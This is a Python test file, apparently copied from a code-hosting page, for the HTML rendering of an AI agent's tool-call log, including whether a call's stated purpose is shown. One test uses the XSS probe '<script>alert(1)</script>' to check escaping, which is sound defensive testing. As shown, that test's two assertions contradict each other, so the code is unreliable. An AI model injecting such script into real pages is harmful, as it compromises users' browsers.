html = _render({"name": "file_read", "results": [], "text": "hello"})
|
||||
assert "diff__line" not in html
|
||||
|
||||
|
||||
# --- What a call was for ---------------------------------------------------------
|
||||
def test_an_explanation_rides_in_the_summary_not_the_body():
|
||||
"""The body is collapsed. In Auto mode nothing stops for approval, so a
|
||||
reader who has to expand each call to find out what it was for is a reader
|
||||
watching a list of commands with no account of any of them."""
|
||||
html = _render(
|
||||
{
|
||||
"name": "shell_run",
|
||||
"kind": "agent",
|
||||
"query": "pytest -q",
|
||||
"why": "Checking the change did not break anything.",
|
||||
"status": "ok",
|
||||
"results": [],
|
||||
}
|
||||
)
|
||||
summary = html.split("</summary>", 1)[0]
|
||||
assert "Checking the change did not break anything." in summary
|
||||
|
||||
|
||||
def test_an_explanation_is_escaped_like_everything_else():
|
||||
html = _render(
|
||||
{
|
||||
"name": "shell_run",
|
||||
"kind": "agent",
|
||||
"query": "ls",
|
||||
"why": "<script>alert(1)</script>",
|
||||
"status": "ok",
|
||||
"results": [],
|
||||
}
|
||||
)
|
||||
assert "<script>" not in html
|
||||
assert "<script>" in html
|
||||
|
||||
|
||||
def test_an_event_without_an_explanation_renders_no_empty_line():
|
||||
html = _render(
|
||||
{"name": "shell_run", "kind": "agent", "query": "ls", "status": "ok", "results": []}
|
||||
)
|
||||
assert "tool-activity__why" not in html
|
||||
|
||||
Reference in New Issue
Block a user